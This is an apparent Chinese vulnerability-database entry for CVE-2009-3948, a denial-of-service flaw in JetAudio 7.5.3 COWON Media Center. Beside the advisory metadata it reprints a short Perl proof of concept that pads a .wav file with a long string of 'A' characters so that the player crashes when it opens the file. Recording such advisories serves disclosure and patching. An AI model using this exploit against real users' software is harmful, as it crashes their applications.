JetAudio "COWON Media Center" 内存管理错误漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118111 漏洞类型 资源管理错误
发布时间 2009-07-14 更新时间 2009-07-14
CVE编号 CVE-2009-3948 CNNVD-ID CNNVD-200911-171
漏洞平台 Windows CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/9139
https://www.securityfocus.com/bid/43601
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200911-171
|漏洞详情
JetAudio7.5.3COWONMediaCenter允许远程攻击者借助.wav文件最后的长字符串,引起拒绝服务攻击(内存损耗和应用程序崩溃)。
|漏洞EXP
#!/usr/bin/perl -w
#
# JetAudio 7.5.3 COWON Media Center(.WAV file) Memory Comsumption DoS Exploit
#
# Founded and exploited by prodigy
# 
# Vendor: JetAudio
#
# Usage to reproduce the bug: you need a file of recorded music in .wav,and then open it with JetAudio and booom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "c:\filerecorder.wav" #the file must be recorded with music

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-07-14]
|受影响的产品
COWON America JetAudio 7.5.3
|参考资料

来源:XF
名称:cmc-wav-dos(51697)
链接:http://xforce.iss.net/xforce/xfdb/51697
来源:MILW0RM
名称:9139
链接:http://www.milw0rm.com/exploits/9139